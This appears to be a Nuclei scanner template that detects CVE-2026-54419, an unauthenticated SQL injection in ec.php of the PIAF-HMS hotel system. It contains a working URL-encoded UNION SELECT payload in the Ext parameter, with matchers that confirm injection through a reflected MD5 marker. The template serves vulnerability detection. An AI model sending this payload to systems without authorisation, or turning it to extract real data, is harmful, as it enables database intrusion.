id: CVE-2026-54419

info:
  name: PIAF-HMS ec.php - SQL Injection
  author: alex700
  severity: critical
  description: |
    claudiopizzillo PIAF-HMS (PBX-In-A-Flash Hotel Management System; no released versions, latest commit 389d2633441b65ced1c104212cd62be2bfca21e5) contains multiple unauthenticated SQL injection vulnerabilities. The application has no authentication mechanism and passes user-supplied HTTP parameters directly into deprecated mysql_query calls via string concatenation, without sanitization, escaping, or parameterization.
  impact: |
    Remote attackers can read, modify, or delete arbitrary database records, potentially compromising the entire database.
  remediation: |
    Update to a version that properly sanitizes inputs and uses parameterized queries or the latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-54419
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54419
    - https://github.com/claudiopizzillo/PIAF-HMS/blob/389d2633441b65ced1c104212cd62be2bfca21e5/ec.php#L57
  classification:
    cve-id: CVE-2026-54419
    epss-score: 0.00443
    epss-percentile: 0.38613
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: cve,cve2026,piaf-hms,sqli

variables:
  marker: "{{randstr}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/ec.php?Checkin=2020-01-01&Checkout=2020-12-31&Ext=101-%25%27%20AND%201%3D0%20UNION%20SELECT%20MD5%28%27{{marker}}%27%29%2C%279123456%27%2C60%20--%20"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, md5(marker))"
          - "contains_all(body, 'PIAF H.M.S.', 'Room bill')"
        condition: and
# digest: 4a0a0047304502206b36c941f292b7c9c71fbae00f3c8a2a112fb19ef513d1aeefcaa74574f17276022100d6eb2a3d6fd4eb0ae13e7919fd12756f721f3e4ca86178b9663c69bc2137bb1d:922c64590222798bb761d5b6d8e72950